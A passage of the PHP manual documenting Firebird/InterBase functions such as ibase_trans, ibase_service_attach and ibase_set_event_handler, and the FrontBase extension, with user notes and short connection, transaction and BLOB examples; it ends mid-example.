eg. "select rdb\$relation_name as TABLE_NAME from ..."
eric_cavalcanti at hotmail dot com 19-Jan-2002 09:11
Using BLOB

Insert BLOB:

 /* create blob */
$blob_id = ibase_blob_create();

 /* fill blob */
ibase_blob_add($blob_id, $var_datablob);

/* close new blob */
$blob_id_str = ibase_blob_close($blob_id);

/* insert into table  */
ibase_query("INSERT INTO BLOB_TABLE (ID, BLOB) VALUES (1, ?)",$blob_id_str);

Open BLOB:

/* query */
$set = ibase_query("SELECT BLOB FROM BLOB_TABLE WHERE ID = 1");

/* fetche a row */
$row = ibase_fetch_object($set);

/* open BLOB for read */
$blob_id = ibase_blob_open($row->BLOB);

/* get BLOB data */
$stringBLOB = ibase_blob_get($blob_id);

/* print BLOB */
echo $stringBLOB;

/* close new blob */
ibase_blob_close($blob_id);

/* free result */
ibase_free_result($set);


Initiates a restore task in the service manager and returns immediately

  • « ibase_query
  • ibase_rollback_ret »
  • PHP Manual
  • Firebird/InterBase Functions
  • Initiates a restore task in the service manager and returns immediately

ibase_restore

(PHP 5)

ibase_restore — Initiates a restore task in the service manager and returns immediately

Description

mixed ibase_restore ( resource $service_handle , string $source_file , string $dest_db [, int $options = 0 [, bool $verbose = false ]] )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.


Roll back a transaction without closing it

  • « ibase_restore
  • ibase_rollback »
  • PHP Manual
  • Firebird/InterBase Functions
  • Roll back a transaction without closing it

ibase_rollback_ret

(PHP 5)

ibase_rollback_ret — Roll back a transaction without closing it

Description

bool ibase_rollback_ret ([ resource $link_or_trans_identifier = NULL ] )

Rolls back a transaction without closing it.

Parameters

link_or_trans_identifier

If called without an argument, this function rolls back the default transaction of the default link. If the argument is a connection identifier, the default transaction of the corresponding connection will be rolled back. If the argument is a transaction identifier, the corresponding transaction will be rolled back. The transaction context will be retained, so statements executed from within this transaction will not be invalidated.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Roll back a transaction

  • « ibase_rollback_ret
  • ibase_server_info »
  • PHP Manual
  • Firebird/InterBase Functions
  • Roll back a transaction

ibase_rollback

(PHP 5)

ibase_rollback — Roll back a transaction

Description

bool ibase_rollback ([ resource $link_or_trans_identifier = NULL ] )

Rolls back a transaction.

Parameters

link_or_trans_identifier

If called without an argument, this function rolls back the default transaction of the default link. If the argument is a connection identifier, the default transaction of the corresponding connection will be rolled back. If the argument is a transaction identifier, the corresponding transaction will be rolled back.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Request information about a database server

  • « ibase_rollback
  • ibase_service_attach »
  • PHP Manual
  • Firebird/InterBase Functions
  • Request information about a database server

ibase_server_info

(PHP 5)

ibase_server_info — Request information about a database server

Description

string ibase_server_info ( resource $service_handle , int $action )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

kgbfernando 20-Jan-2009 12:49
A Little Example

<?php
    // get server version and implementation strings
    if (($service = ibase_service_attach('localhost', 'sysdba', 'masterkey')) != FALSE) {
        $server_info  = ibase_server_info($service, IBASE_SVC_SERVER_VERSION)
                      . ' / '
                      . ibase_server_info($service, IBASE_SVC_IMPLEMENTATION);
        ibase_service_detach($service);
    }
    else {
        $ib_error = ibase_errmsg();
    }
echo $server_info;
?>


Connect to the service manager

  • « ibase_server_info
  • ibase_service_detach »
  • PHP Manual
  • Firebird/InterBase Functions
  • Connect to the service manager

ibase_service_attach

(PHP 5)

ibase_service_attach — Connect to the service manager

Description

resource ibase_service_attach ( string $host , string $dba_username , string $dba_password )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

Paul Vinkenoog 17-Apr-2008 02:46
The previous comment is incorrect. You can connect to the Service Manager as any valid user, and connecting to the Service Manager is not the same as connecting to the security database. However, some of the service functions (which you may subsequently call with the service handle returned by ibase_service_attach) are only available to SYSDBA.
houston_roadrunner at yahoo dot com 19-Apr-2006 06:47
When using this function it looks like you can only use SYSDBA as the user, as you are connecting to the security database. This is a restriction by the interbase/firebird server.
12-Apr-2006 10:58
An example of ibase_service_attach:
<?php
    //attach to the server running on localhost
    if (($service = ibase_service_attach('localhost', 'sysdba', 'masterkey')) != FALSE) {
        //retrieve server info
        $server_info  = ibase_server_info($service, IBASE_SVC_SERVER_VERSION)
                      . ' / '
                      . ibase_server_info($service, IBASE_SVC_IMPLEMENTATION);
        //detach from server (disconnect)
        ibase_service_detach($service);
    }
    else {
        $ib_error = ibase_errmsg();
    }
echo $server_info;
?>
Should echo something like:

 WI-T2.0.0.12484 Firebird 2.0 Release Candidate 1 / Firebird/x86/Windows NT

Taken/adapted from ibWebAdmin source code


Disconnect from the service manager

  • « ibase_service_attach
  • ibase_set_event_handler »
  • PHP Manual
  • Firebird/InterBase Functions
  • Disconnect from the service manager

ibase_service_detach

(PHP 5)

ibase_service_detach — Disconnect from the service manager

Description

bool ibase_service_detach ( resource $service_handle )
Warning

This function is currently not documented; only its argument list is available.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Register a callback function to be called when events are posted

  • « ibase_service_detach
  • ibase_trans »
  • PHP Manual
  • Firebird/InterBase Functions
  • Register a callback function to be called when events are posted

ibase_set_event_handler

(PHP 5)

ibase_set_event_handler — Register a callback function to be called when events are posted

Description

resource ibase_set_event_handler ( callable $event_handler , string $event_name1 [, string $event_name2 [, string $... ]] )
resource ibase_set_event_handler ( resource $connection , callable $event_handler , string $event_name1 [, string $event_name2 [, string $... ]] )

This function registers a PHP user function as event handler for the specified events.

Parameters

event_handler

The callback is called with the event name and the link resource as arguments whenever one of the specified events is posted by the database.

The callback must return FALSE if the event handler should be canceled. Any other return value is ignored. This function accepts up to 15 event arguments.

event_name1

An event name.

event_name2

At most 15 events allowed.

Return Values

The return value is an event resource. This resource can be used to free the event handler using ibase_free_event_handler().

Examples

Example #1 ibase_set_event_handler() example

<?php

function event_handler($event_name, $link)
{
    if ($event_name == "NEW ORDER") {
        // process new order
        ibase_query($link, "UPDATE orders SET status='handled'");
    } else if ($event_name == "DB_SHUTDOWN") {
        // free event handler
        return false;
    }
}

ibase_set_event_handler($link, "event_handler", "NEW_ORDER", "DB_SHUTDOWN");
?>

See Also

  • ibase_free_event_handler() - Cancels a registered event handler
  • ibase_wait_event() - Wait for an event to be posted by the database

User Contributed Notes

There are no user contributed notes for this page.


Begin a transaction

  • « ibase_set_event_handler
  • ibase_wait_event »
  • PHP Manual
  • Firebird/InterBase Functions
  • Begin a transaction

ibase_trans

(PHP 5)

ibase_trans — Begin a transaction

Description

resource ibase_trans ([ int $trans_args [, resource $link_identifier ]] )
resource ibase_trans ([ resource $link_identifier [, int $trans_args ]] )

Begins a transaction.

Note:

The first call to ibase_trans() will not return the default transaction of a connection. All transactions started by ibase_trans() will be rolled back at the end of the script if they were not committed or rolled back by either ibase_commit() or ibase_rollback().

Note:

This function will accept multiple trans_args and link_identifier arguments. This allows transactions over multiple database connections, which are committed using a 2-phase commit algorithm. This means you can rely on the updates to either succeed in every database, or fail in every database. It does NOT mean you can use tables from different databases in the same query!

If you use transactions over multiple databases, you will have to specify both the link_id and transaction_id in calls to ibase_query() and ibase_prepare().

Parameters

trans_args

trans_args can be a combination of IBASE_READ, IBASE_WRITE, IBASE_COMMITTED, IBASE_CONSISTENCY, IBASE_CONCURRENCY, IBASE_REC_VERSION, IBASE_REC_NO_VERSION, IBASE_WAIT and IBASE_NOWAIT.

link_identifier

An InterBase link identifier. If omitted, the last opened link is assumed.

Return Values

Returns a transaction handle, or FALSE on error.

User Contributed Notes

chAlx 16-Dec-2011 10:42
Note that on some platforms ibase_trans($dbh), ibase_trans(IBASE_DEFAULT, $dbh) and ibase_trans($dbh, IBASE_DEFAULT) are not the same, but will run without errors in most cases.
jon at tgpsolutions dot com 12-Jul-2002 03:56
When using transactions, you must execute queries using the transaction identifier as the link_identifier in ibase_query.

Example:

$db = ibase_connect( ... );
$tr = ibase_trans();
$result = ibase_query($tr, $sql1);
$result = ibase_query($tr, $sql2);
ibase_rollback($tr);

You must use ibase_query($tr, $sql1).  Calling ibase_query($db, $sql1) will not allow you to roll back - it will be commited when the script finishes executing.


Wait for an event to be posted by the database

  • « ibase_trans
  • FrontBase »
  • PHP Manual
  • Firebird/InterBase Functions
  • Wait for an event to be posted by the database

ibase_wait_event

(PHP 5)

ibase_wait_event — Wait for an event to be posted by the database

Description

string ibase_wait_event ( string $event_name1 [, string $event_name2 [, string $... ]] )
string ibase_wait_event ( resource $connection , string $event_name1 [, string $event_name2 [, string $... ]] )

This function suspends execution of the script until one of the specified events is posted by the database. The name of the event that was posted is returned. This function accepts up to 15 event arguments.

Parameters

event_name1

The event name.

event_name2

...

Return Values

Returns the name of the event that was posted.

See Also

  • ibase_set_event_handler() - Register a callback function to be called when events are posted
  • ibase_free_event_handler() - Cancels a registered event handler

User Contributed Notes

There are no user contributed notes for this page.


FrontBase

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • FrontBase Functions
    • fbsql_affected_rows — Get number of affected rows in previous FrontBase operation
    • fbsql_autocommit — Enable or disable autocommit
    • fbsql_blob_size — Get the size of a BLOB
    • fbsql_change_user — Change logged in user of the active connection
    • fbsql_clob_size — Get the size of a CLOB
    • fbsql_close — Close FrontBase connection
    • fbsql_commit — Commits a transaction to the database
    • fbsql_connect — Open a connection to a FrontBase Server
    • fbsql_create_blob — Create a BLOB
    • fbsql_create_clob — Create a CLOB
    • fbsql_create_db — Create a FrontBase database
    • fbsql_data_seek — Move internal result pointer
    • fbsql_database_password — Sets or retrieves the password for a FrontBase database
    • fbsql_database — Get or set the database name used with a connection
    • fbsql_db_query — Send a FrontBase query
    • fbsql_db_status — Get the status for a given database
    • fbsql_drop_db — Drop (delete) a FrontBase database
    • fbsql_errno — Returns the error number from previous operation
    • fbsql_error — Returns the error message from previous operation
    • fbsql_fetch_array — Fetch a result row as an associative array, a numeric array, or both
    • fbsql_fetch_assoc — Fetch a result row as an associative array
    • fbsql_fetch_field — Get column information from a result and return as an object
    • fbsql_fetch_lengths — Get the length of each output in a result
    • fbsql_fetch_object — Fetch a result row as an object
    • fbsql_fetch_row — Get a result row as an enumerated array
    • fbsql_field_flags — Get the flags associated with the specified field in a result
    • fbsql_field_len — Returns the length of the specified field
    • fbsql_field_name — Get the name of the specified field in a result
    • fbsql_field_seek — Set result pointer to a specified field offset
    • fbsql_field_table — Get name of the table the specified field is in
    • fbsql_field_type — Get the type of the specified field in a result
    • fbsql_free_result — Free result memory
    • fbsql_get_autostart_info — Description
    • fbsql_hostname — Get or set the host name used with a connection
    • fbsql_insert_id — Get the id generated from the previous INSERT operation
    • fbsql_list_dbs — List databases available on a FrontBase server
    • fbsql_list_fields — List FrontBase result fields
    • fbsql_list_tables — List tables in a FrontBase database
    • fbsql_next_result — Move the internal result pointer to the next result
    • fbsql_num_fields — Get number of fields in result
    • fbsql_num_rows — Get number of rows in result
    • fbsql_password — Get or set the user password used with a connection
    • fbsql_pconnect — Open a persistent connection to a FrontBase Server
    • fbsql_query — Send a FrontBase query
    • fbsql_read_blob — Read a BLOB from the database
    • fbsql_read_clob — Read a CLOB from the database
    • fbsql_result — Get result data
    • fbsql_rollback — Rollback a transaction to the database
    • fbsql_rows_fetched — Get the number of rows affected by the last statement
    • fbsql_select_db — Select a FrontBase database
    • fbsql_set_characterset — Change input/output character set
    • fbsql_set_lob_mode — Set the LOB retrieve mode for a FrontBase result set
    • fbsql_set_password — Change the password for a given user
    • fbsql_set_transaction — Set the transaction locking and isolation
    • fbsql_start_db — Start a database on local or remote server
    • fbsql_stop_db — Stop a database on local or remote server
    • fbsql_table_name — Get table name of field
    • fbsql_tablename — Alias of fbsql_table_name
    • fbsql_username — Get or set the username for the connection
    • fbsql_warnings — Enable or disable FrontBase warnings

User Contributed Notes

iMi digital GmbH - SNM 19-Jul-2014 01:23
Frontbase is supported only until php 5.2. I tried compiling php > 5.2 with the --with-fbsql configure parameter and it says: Following unknown configure options were used: --with-fbsql


Introduction

These functions allow you to access FrontBase database servers. More information about FrontBase can be found at » http://www.frontbase.com/.

Documentation for FrontBase can be found at » http://www.frontbase.com/cgi-bin/WebObjects/FBWebSite.woa.

Frontbase support has been added to PHP 4.0.6.

Note:

This extension has been moved to the » PECL repository and is no longer bundled with PHP as of PHP 5.3.0.

User Contributed Notes

There are no user contributed notes for this page.


Requirements

You must install the FrontBase database server or at least the fbsql client libraries to use this functions. You can get FrontBase from » http://www.frontbase.com/.

User Contributed Notes

There are no user contributed notes for this page.


Installation

In order to have these functions available, you must compile PHP with fbsql support by using the --with-fbsql[=DIR] option. If you use this option without specifying the path to fbsql, PHP will search for the fbsql client libraries in the default installation location for the platform. Users who installed FrontBase in a non standard directory should always specify the path to fbsql: --with-fbsql=/path/to/fbsql . This will force PHP to use the client libraries installed by FrontBase, avoiding any conflicts.

User Contributed Notes

There are no user contributed notes for this page.


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

FrontBase configuration options
Name | Default | Changeable | Changelog
fbsql.allow_persistent | "1" | PHP_INI_SYSTEM | Available since PHP 4.2.0.
fbsql.generate_warnings | "0" | PHP_INI_SYSTEM | Available since PHP 4.0.6.
fbsql.autocommit | "1" | PHP_INI_SYSTEM | Available since PHP 4.0.6.
fbsql.max_persistent | "-1" | PHP_INI_SYSTEM | Available since PHP 4.0.6.
fbsql.max_links | "128" | PHP_INI_SYSTEM | Available since PHP 4.0.6.
fbsql.max_connections | "128" | PHP_INI_SYSTEM | Available since PHP 4.0.6.
fbsql.max_results | "128" | PHP_INI_SYSTEM | Available since PHP 4.0.6.
fbsql.batchSize | "1000" | PHP_INI_SYSTEM | Available since PHP 4.2.0. Removed in PHP 5.1.0.
fbsql.default_host | NULL | PHP_INI_SYSTEM | Available since PHP 4.0.6.
fbsql.default_user | "_SYSTEM" | PHP_INI_SYSTEM | Available since PHP 4.0.6.
fbsql.default_password | "" | PHP_INI_SYSTEM | Available since PHP 4.0.6.
fbsql.default_database | "" | PHP_INI_SYSTEM | Available since PHP 4.0.6.
fbsql.default_database_password | "" | PHP_INI_SYSTEM | Available since PHP 4.0.6.
For further details and definitions of the PHP_INI_* modes, see the Where a configuration setting may be set.

User Contributed Notes

There are no user contributed notes for this page.


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

FBSQL_ASSOC (integer)
FBSQL_NUM (integer)
FBSQL_BOTH (integer)
FBSQL_LOCK_DEFERRED (integer)
FBSQL_LOCK_OPTIMISTIC (integer)
FBSQL_LOCK_PESSIMISTIC (integer)
FBSQL_ISO_READ_UNCOMMITTED (integer)
FBSQL_ISO_READ_COMMITTED (integer)
FBSQL_ISO_REPEATABLE_READ (integer)
FBSQL_ISO_SERIALIZABLE (integer)
FBSQL_ISO_VERSIONED (integer)
FBSQL_UNKNOWN (integer)
FBSQL_STOPPED (integer)
FBSQL_STARTING (integer)
FBSQL_RUNNING (integer)
FBSQL_STOPPING (integer)
FBSQL_NOEXEC (integer)
FBSQL_LOB_DIRECT (integer)
FBSQL_LOB_HANDLE (integer)

User Contributed Notes

There are no user contributed notes for this page.


FrontBase Functions

Table of Contents

  • fbsql_affected_rows — Get number of affected rows in previous FrontBase operation
  • fbsql_autocommit — Enable or disable autocommit
  • fbsql_blob_size — Get the size of a BLOB
  • fbsql_change_user — Change logged in user of the active connection
  • fbsql_clob_size — Get the size of a CLOB
  • fbsql_close — Close FrontBase connection
  • fbsql_commit — Commits a transaction to the database
  • fbsql_connect — Open a connection to a FrontBase Server
  • fbsql_create_blob — Create a BLOB
  • fbsql_create_clob — Create a CLOB
  • fbsql_create_db — Create a FrontBase database
  • fbsql_data_seek — Move internal result pointer
  • fbsql_database_password — Sets or retrieves the password for a FrontBase database
  • fbsql_database — Get or set the database name used with a connection
  • fbsql_db_query — Send a FrontBase query
  • fbsql_db_status — Get the status for a given database
  • fbsql_drop_db — Drop (delete) a FrontBase database
  • fbsql_errno — Returns the error number from previous operation
  • fbsql_error — Returns the error message from previous operation
  • fbsql_fetch_array — Fetch a result row as an associative array, a numeric array, or both
  • fbsql_fetch_assoc — Fetch a result row as an associative array
  • fbsql_fetch_field — Get column information from a result and return as an object
  • fbsql_fetch_lengths — Get the length of each output in a result
  • fbsql_fetch_object — Fetch a result row as an object
  • fbsql_fetch_row — Get a result row as an enumerated array
  • fbsql_field_flags — Get the flags associated with the specified field in a result
  • fbsql_field_len — Returns the length of the specified field
  • fbsql_field_name — Get the name of the specified field in a result
  • fbsql_field_seek — Set result pointer to a specified field offset
  • fbsql_field_table — Get name of the table the specified field is in
  • fbsql_field_type — Get the type of the specified field in a result
  • fbsql_free_result — Free result memory
  • fbsql_get_autostart_info — Description
  • fbsql_hostname — Get or set the host name used with a connection
  • fbsql_insert_id — Get the id generated from the previous INSERT operation
  • fbsql_list_dbs — List databases available on a FrontBase server
  • fbsql_list_fields — List FrontBase result fields
  • fbsql_list_tables — List tables in a FrontBase database
  • fbsql_next_result — Move the internal result pointer to the next result
  • fbsql_num_fields — Get number of fields in result
  • fbsql_num_rows — Get number of rows in result
  • fbsql_password — Get or set the user password used with a connection
  • fbsql_pconnect — Open a persistent connection to a FrontBase Server
  • fbsql_query — Send a FrontBase query
  • fbsql_read_blob — Read a BLOB from the database
  • fbsql_read_clob — Read a CLOB from the database
  • fbsql_result — Get result data
  • fbsql_rollback — Rollback a transaction to the database
  • fbsql_rows_fetched — Get the number of rows affected by the last statement
  • fbsql_select_db — Select a FrontBase database
  • fbsql_set_characterset — Change input/output character set
  • fbsql_set_lob_mode — Set the LOB retrieve mode for a FrontBase result set
  • fbsql_set_password — Change the password for a given user
  • fbsql_set_transaction — Set the transaction locking and isolation
  • fbsql_start_db — Start a database on local or remote server
  • fbsql_stop_db — Stop a database on local or remote server
  • fbsql_table_name — Get table name of field
  • fbsql_tablename — Alias of fbsql_table_name
  • fbsql_username — Get or set the username for the connection
  • fbsql_warnings — Enable or disable FrontBase warnings

User Contributed Notes

There are no user contributed notes for this page.


Get number of affected rows in previous FrontBase operation

  • « FrontBase Functions
  • fbsql_autocommit »
  • PHP Manual
  • FrontBase Functions
  • Get number of affected rows in previous FrontBase operation

fbsql_affected_rows

(PHP 4 >= 4.0.6, PHP 5)

fbsql_affected_rows — Get number of affected rows in previous FrontBase operation

Description

int fbsql_affected_rows ([ resource $link_identifier ] )

fbsql_affected_rows() returns the number of rows affected by the last INSERT, UPDATE or DELETE query associated with link_identifier.

Note:

If you are using transactions, you need to call fbsql_affected_rows() after your INSERT, UPDATE, or DELETE query, not after the commit.

If the last query was a DELETE query with no WHERE clause, all of the records will have been deleted from the table but this function will return zero.

Note:

When using UPDATE, FrontBase will not update columns where the new value is the same as the old value. This creates the possibility that fbsql_affected_rows() may not actually equal the number of rows matched, only the number of rows that were literally affected by the query.

Parameters

link_identifier

A FrontBase link identifier returned by fbsql_connect() or fbsql_pconnect().

If optional and not specified, the function will try to find an open link to the FrontBase server and if no such link is found it will try to create one as if fbsql_connect() was called with no arguments.

Return Values

If the last query failed, this function will return -1.

See Also

  • fbsql_num_rows() - Get number of rows in result

User Contributed Notes

There are no user contributed notes for this page.


Enable or disable autocommit

  • « fbsql_affected_rows
  • fbsql_blob_size »
  • PHP Manual
  • FrontBase Functions
  • Enable or disable autocommit

fbsql_autocommit

(PHP 4 >= 4.0.6, PHP 5)

fbsql_autocommit — Enable or disable autocommit

Description

bool fbsql_autocommit ( resource $link_identifier [, bool $OnOff ] )

Returns the current autocommit status.

Parameters

link_identifier

A FrontBase link identifier returned by fbsql_connect() or fbsql_pconnect().

If optional and not specified, the function will try to find an open link to the FrontBase server and if no such link is found it will try to create one as if fbsql_connect() was called with no arguments.

OnOff

If this optional parameter is given the auto commit status will be changed.

With OnOff set to TRUE each statement will be committed automatically, if no errors was found.

With OnOff set to FALSE the user must commit or rollback the transaction using either fbsql_commit() or fbsql_rollback().

Return Values

Returns the current autocommit status, as a boolean.

See Also

  • fbsql_commit() - Commits a transaction to the database
  • fbsql_rollback() - Rollback a transaction to the database

User Contributed Notes

There are no user contributed notes for this page.


Get the size of a BLOB

  • « fbsql_autocommit
  • fbsql_change_user »
  • PHP Manual
  • FrontBase Functions
  • Get the size of a BLOB

fbsql_blob_size

(PHP 4 >= 4.2.0, PHP 5)

fbsql_blob_size — Get the size of a BLOB

Description

int fbsql_blob_size ( string $blob_handle [, resource $link_identifier ] )

Returns the size of the given BLOB.

Parameters

blob_handle

A BLOB handle, returned by fbsql_create_blob().

link_identifier

A FrontBase link identifier returned by fbsql_connect() or fbsql_pconnect().

If optional and not specified, the function will try to find an open link to the FrontBase server and if no such link is found it will try to create one as if fbsql_connect() was called with no arguments.

Return Values

Returns the BLOB size as an integer, or FALSE on error.

See Also

  • fbsql_clob_size() - Get the size of a CLOB

User Contributed Notes

There are no user contributed notes for this page.


Change logged in user of the active connection

  • « fbsql_blob_size
  • fbsql_clob_size »
  • PHP Manual
  • FrontBase Functions
  • Change logged in user of the active connection

fbsql_change_user

(PHP 4 >= 4.0.6, PHP 5)

fbsql_change_user — Change logged in user of the active connection

Description

bool fbsql_change_user ( string $user , string $password [, string $database [, resource $link_identifier ]] )

fbsql_change_user() changes the logged in user of the specified connection. If the new user and password authorization fails, the current connected user stays active.

Parameters

user

The new user name.

password

The new user password.

database

If specified, this will be the default or current database after the user has been changed.

link_identifier

A FrontBase link identifier returned by fbsql_connect() or fbsql_pconnect().

If optional and not specified, the function will try to find an open link to the FrontBase server and if no such link is found it will try to create one as if fbsql_connect() was called with no arguments.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Get the size of a CLOB

  • « fbsql_change_user
  • fbsql_close »
  • PHP Manual
  • FrontBase Functions
  • Get the size of a CLOB

fbsql_clob_size

(PHP 4 >= 4.2.0, PHP 5)

fbsql_clob_size — Get the size of a CLOB

Description

int fbsql_clob_size ( string $clob_handle [, resource $link_identifier ] )

Returns the size of the given CLOB.

Parameters

clob_handle

A CLOB handle, returned by fbsql_create_clob().

link_identifier

A FrontBase link identifier returned by fbsql_connect() or fbsql_pconnect().

If optional and not specified, the function will try to find an open link to the FrontBase server and if no such link is found it will try to create one as if fbsql_connect() was called with no arguments.

Return Values

Returns the CLOB size as an integer, or FALSE on error.

See Also

  • fbsql_blob_size() - Get the size of a BLOB

User Contributed Notes

There are no user contributed notes for this page.


Close FrontBase connection

  • « fbsql_clob_size
  • fbsql_commit »
  • PHP Manual
  • FrontBase Functions
  • Close FrontBase connection

fbsql_close

(PHP 4 >= 4.0.6, PHP 5)

fbsql_close — Close FrontBase connection

Description

bool fbsql_close ([ resource $link_identifier ] )

Closes the connection to the FrontBase server that's associated with the specified link identifier.

Using fbsql_close() isn't usually necessary, as non-persistent open links are automatically closed at the end of the script's execution.

Parameters

link_identifier

A FrontBase link identifier returned by fbsql_connect() or fbsql_pconnect().

If optional and not specified, the function will try to find an open link to the FrontBase server and if no such link is found it will try to create one as if fbsql_connect() was called with no arguments.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 fbsql_close() example

<?php
$link = fbsql_connect("localhost", "_SYSTEM", "secret")
    or die("Could not connect");
echo "Connected successfully";
fbsql_close($link);
?>

See Also

  • fbsql_connect() - Open a connection to a FrontBase Server
  • fbsql_pconnect() - Open a persistent connection to a FrontBase Server

User Contributed Notes

There are no user contributed notes for this page.


Commits a transaction to the database

  • « fbsql_close
  • fbsql_connect »
  • PHP Manual
  • FrontBase Functions
  • Commits a transaction to the database

fbsql_commit

(PHP 4 >= 4.0.6, PHP 5)

fbsql_commit — Commits a transaction to the database

Description

bool fbsql_commit ([ resource $link_identifier ] )

Ends the current transaction by writing all inserts, updates and deletes to the disk and unlocking all row and table locks held by the transaction. This command is only needed if autocommit is set to false.

Parameters

link_identifier

A FrontBase link identifier returned by fbsql_connect() or fbsql_pconnect().

If optional and not specified, the function will try to find an open link to the FrontBase server and if no such link is found it will try to create one as if fbsql_connect() was called with no arguments.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • fbsql_autocommit() - Enable or disable autocommit
  • fbsql_rollback() - Rollback a transaction to the database

User Contributed Notes

There are no user contributed notes for this page.


Open a connection to a FrontBase Server

  • « fbsql_commit
  • fbsql_create_blob »
  • PHP Manual
  • FrontBase Functions
  • Open a connection to a FrontBase Server

fbsql_connect

(PHP 4 >= 4.0.6, PHP 5)

fbsql_connect — Open a connection to a FrontBase Server

Description

 resource fbsql_connect
  ([ string $hostname = ini_get("fbsql.default_host")
 [, string $username = ini_get("fbsql.default_user")
 [, string $password = ini_get("fbsql.default_password")
]]] )

fbsql_connect() establishes a connection to a FrontBase server.

If a second call is made to fbsql_connect() with the same arguments, no new link will be established, but instead, the link identifier of the already opened link will be returned.

The link to the server will be closed as soon as the execution of the script ends, unless it's closed earlier by explicitly calling fbsql_close().

Parameters

hostname

The server host name.

username

The user name for the connection.

password

The password for the connection.

Return Values

Returns a positive FrontBase link identifier on success, or FALSE on errors.

Examples

Example #1 fbsql_connect() example

<?php

$link = fbsql_connect("localhost", "_SYSTEM", "secret")
    or die("Could not connect");
echo "Connected successfully";
fbsql_close($link);

?>

See Also

  • fbsql_pconnect() - Open a persistent connection to a FrontBase Server
  • fbsql_close() - Close FrontBase connection

User Contributed Notes

There are no user contributed notes for this page.


Create a BLOB

  • « fbsql_connect
  • fbsql_create_clob »
  • PHP Manual
  • FrontBase Functions
  • Create a BLOB

fbsql_create_blob

(PHP 4 >= 4.2.0, PHP 5)

fbsql_create_blob — Create a BLOB

Description

string fbsql_create_blob ( string $blob_data [, resource $link_identifier ] )

Creates a BLOB from the given data.

Parameters

blob_data

The BLOB data.

link_identifier

A FrontBase link identifier returned by fbsql_connect() or fbsql_pconnect().

If optional and not specified, the function will try to find an open link to the FrontBase server and if no such link is found it will try to create one as if fbsql_connect() was called with no arguments.

Return Values

Returns a resource handle to the newly created BLOB, which can be used with insert and update commands to store the BLOB in the database.

Examples

Example #1 fbsql_create_blob() example

<?php
$link = fbsql_pconnect("localhost", "_SYSTEM", "secret")
    or die("Could not connect");
$filename = "blobfile.bin";
$fp = fopen($filename, "rb");
$blobdata = fread($fp, filesize($filename));
fclose($fp);

$blobHandle = fbsql_create_blob($blobdata, $link);

$sql = "INSERT INTO BLOB_TABLE (BLOB_COLUMN) VALUES ($blobHandle);";
$rs = fbsql_query($sql, $link);
?>

See Also

  • fbsql_create_clob() - Create a CLOB
  • fbsql_read_blob() - Read a BLOB from the database
  • fbsql_read_clob() - Read a CLOB from the database
  • fbsql_set_lob_mode() - Set the LOB retrieve mode for a FrontBase result set

User Contributed Notes

There are no user contributed notes for this page.


Create a CLOB

  • « fbsql_create_blob
  • fbsql_create_db »
  • PHP Manual
  • FrontBase Functions
  • Create a CLOB

fbsql_create_clob

(PHP 4 >= 4.2.0, PHP 5)

fbsql_create_clob — Create a CLOB

Description

string fbsql_create_clob ( string $clob_data [, resource $link_identifier ] )

Creates a CLOB from the given data.

Parameters

clob_data

The CLOB data.

link_identifier

A FrontBase link identifier returned by fbsql_connect() or fbsql_pconnect().

If optional and not specified, the function will try to find an open link to the FrontBase server and if no such link is found it will try to create one as if fbsql_connect() was called with no arguments.

Return Values

Returns a resource handle to the newly created CLOB, which can be used with insert and update commands to store the CLOB in the database.

Examples

Example #1 fbsql_create_clob() example

<?php
$link = fbsql_pconnect("localhost", "_SYSTEM", "secret")
    or die("Could not connect");
$filename = "clob_file.txt";
$fp = fopen($filename, "rb");
$clobdata = fread($fp, filesize($filename));
fclose($fp);

$clobHandle = fbsql_create_clob($clobdata, $link);

$sql = "INSERT INTO CLOB_TABLE (CLOB_COLUMN) VALUES ($clobHandle);";
$rs = fbsql_query($sql, $link);
?>

See Also

  • fbsql_create_blob() - Create a BLOB
  • fbsql_read_blob() - Read a BLOB from the database
  • fbsql_read_clob() - Read a CLOB from the database
  • fbsql_set_lob_mode() - Set the LOB retrieve mode for a FrontBase result set

User Contributed Notes

There are no user contributed notes for this page.


Create a FrontBase database

  • « fbsql_create_clob
  • fbsql_data_seek »
  • PHP Manual
  • FrontBase Functions
  • Create a FrontBase database

fbsql_create_db

(PHP 4 >= 4.0.6, PHP 5)

fbsql_create_db — Create a FrontBase database

Description

bool fbsql_create_db ( string $database_name [, resource $link_identifier [, string $database_options ]] )

Attempts to create a new database on the specified server.

Parameters

database_name

The database name, as a string.

link_identifier

A FrontBase link identifier returned by fbsql_connect() or fbsql_pconnect().

If optional and not specified, the function will try to find an open link to the FrontBase server and if no such link is found it will try to create one as if fbsql_connect() was called with no arguments.

database_options

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 fbsql_create_db() example

<?php
$link = fbsql_pconnect("localhost", "_SYSTEM", "secret")
    or die("Could not connect");
if (fbsql_create_db("my_db")) {
    echo "Database created successfully\n";
} else {
    printf("Error creating database: %s\n", fbsql_error());
}
?>

See Also

  • fbsql_drop_db() - Drop (delete) a FrontBase database

User Contributed Notes

There are no user contributed notes for this page.


Move internal result pointer

  • « fbsql_create_db
  • fbsql_database_password »
  • PHP Manual
  • FrontBase Functions
  • Move internal result pointer

fbsql_data_seek

(PHP 4 >= 4.0.6, PHP 5)

fbsql_data_seek — Move internal result pointer

Description

bool fbsql_data_seek ( resource $result , int $row_number )

Moves the internal row pointer of the FrontBase result associated with the specified result identifier to point to the specified row number.

The next call to fbsql_fetch_row() would return that row.

Parameters

result

A result identifier returned by fbsql_query() or fbsql_db_query().

row_number

The row number. Starts at 0.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 fbsql_data_seek() example

<?php
